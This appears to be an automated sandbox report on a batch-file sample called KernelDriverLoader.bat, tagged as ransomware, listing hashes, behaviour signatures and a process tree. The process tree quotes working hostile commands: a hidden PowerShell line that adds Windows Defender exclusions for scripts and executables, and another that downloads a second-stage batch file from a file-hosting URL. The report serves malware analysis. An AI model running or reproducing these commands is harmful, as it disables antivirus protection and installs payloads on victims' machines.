96510f97d17f3dfb3fb870de79f48a8a2f0c97828f7bb68b4d7db3c9bc7764b1

Analysis

user interaction
yes
max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
20/09/2026, 19:33

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General

Target
KernelDriverLoader.bat
Size 7KB
Sample260920-x9r1pscq21
SHA256 96510f97d17f3dfb3fb870de79f48a8a2f0c97828f7bb68b4d7db3c9bc7764b1
MD5 fda0a635a7e19a364bc4169413d65a55
SHA1 263b2fa382d4b2c8ba8e1e5fc6384fc3380aa467
SHA512 dc56b0bca3b8f83044f4f98ad9bbd0e31864d06cb69bedc0a1eb494694f0bde33d0c10f7be53f84a95c149d17e46cb3504b9c111058d1d19aed5583831082376
SSDEEP 192:Xr2HOF+F+2jqbWNJWzkxH7XxQvxfhJLisk5hw51o0MC5mu:X+OgFXmyVHeJfhJLTIi5W0MC5mu
TLSH
T15DE113061E988E27A25AC850ED870632FFCEB2E6819F116A51A5DB5CF0946CDC05FDC1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution ransomware

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
16	2076	powershell.exe
31	2076	powershell.exe
39	2076	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
808	powershell.exe
2076	powershell.exe
116	powershell.exe
808	powershell.exe
2076	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4180	cmd.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1996	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
808	powershell.exe
808	powershell.exe
2076	powershell.exe
2076	powershell.exe
116	powershell.exe
116	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	808	powershell.exe
Token: SeDebugPrivilege	2076	powershell.exe
Token: SeDebugPrivilege	116	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4180 wrote to memory of 4664	4180	cmd.exe	87
PID 4180 wrote to memory of 808	4180	cmd.exe	88
PID 4180 wrote to memory of 2076	4180	cmd.exe	93
PID 2076 wrote to memory of 116	2076	powershell.exe	94

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\KernelDriverLoader.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4180
- C:\Windows\system32\fltMC.exe
  fLtMc
  2⤵
  PID:4664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\pOwErShElL.ExE" -NoProfile -WindowStyle Hidden -Command "aDd-MpPrEfeReNcE -ExClUsIoNpAtH 'C:\Users\Public\Documents\WindowsCache'; aDd-MpPrEfeReNcE -ExClUsIoNpRoCeSs 'pOwErShElL.ExE'; aDd-MpPrEfeReNcE -ExClUsIoNpRoCeSs 'cMd.ExE'; aDd-MpPrEfeReNcE -ExClUsIoNpRoCeSs 'wScRiPt.ExE'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.BaT'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.CmD'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.ExE'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.Ps1'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.SyS'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.DlL'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\pOwErShElL.ExE" /c powershell -NoProfile -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://file.garden/aq8jkB_uhFstvyCo/KernalDriverLoaderSYSinstall.bat' -OutFile 'C:\Users\Public\Documents\WindowsCache\svc.bat' -UseBasicParsing -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36'"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2076
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command Continue=SilentlyContinue
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:116

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3240

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Public\Documents\WindowsCache\svc2.bat
1⤵
- Opens file in notepad (likely ransom note)
PID:1996

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 91b63fc7449595695b9e0ee26704ea721dc66d7da9e99b38c66962f6d93e65bb
MD5 241a30ee59b4b06c007874e90fe80d6d
SHA1 5f1ba41ebc6984909a65725c2e686c6012bd32c6
SHA512 61f9ce6d433cc8efe06587ddcb4921a1bf6516fcd3c36ad79a2583acf1122202bf9565ccd5e8c28430b0fd09b1564b2a17b97f7a6c9e6ffe5a0ea76400fbaaf8
TLSH
T14E112223F3CC8920CC96163A509DAC5172B586CB81AEDF9F7FC0C210A1BF584CB61294
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7564525e0d835616bbad98e732454df88f868097a763f577cd820319f7362ac6
MD5 311ff0df68f6e68476ccbc6abfdc6b23
SHA1 d8fd62da56b3df16ae157ccdc09cbb276914dd08
SHA512 b0390d37aa1ab2324ab477a15d80f297a2891a76fd970465a33609b79c079eb76768159941e2467f9760a84a2a7310ad18188ee5aa44bf50ea222f321a8a8b9a
TLSH
T1EA115727B39C89A1CC96153A409D9C1176B783DB41AEDEDF6FC0C214A57F584CB61190
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_cpl2rrpc.a4s.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cpl2rrpc.a4s.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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svc2.bat

Path C:\Users\Public\Documents\WindowsCache\svc2.bat
Size 562B
SHA256 065e63b9746b5b93c635fb75927057f7800ec7050d2a5f89f2cd5b2efbd5ad58
MD5 efee1577092bb62f93e05ff4491cf973
SHA1 d5ed6358d3a333e71e39b095316049b1b605249c
SHA512 641b28664335e7404a4f8835455b9bdb573c3665890a3296df9490c48804b8e05f9345fc12d003b07066bc8a477b8c2285c6bfa6b43d0ef16e83178327a7b145
TLSH
T13EF020730232518AE42B1C8194A737224AC641C6A22B3BB3B2400D0DFD01DAFAD71CEB
MD5 SHA1 SHA512 TLSH

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memory/808-0-0x0000025EBD180000-0x0000025EBD190000-memory.dmp

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memory/808-1-0x0000025EBD180000-0x0000025EBD190000-memory.dmp

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memory/808-2-0x0000025EBD150000-0x0000025EBD172000-memory.dmp

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memory/2076-28-0x0000026AFBF70000-0x0000026AFBF80000-memory.dmp

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memory/2076-29-0x0000026AFBF70000-0x0000026AFBF80000-memory.dmp

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memory/2076-46-0x0000026AFBF70000-0x0000026AFBF80000-memory.dmp

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memory/2076-47-0x0000026AFBF70000-0x0000026AFBF80000-memory.dmp

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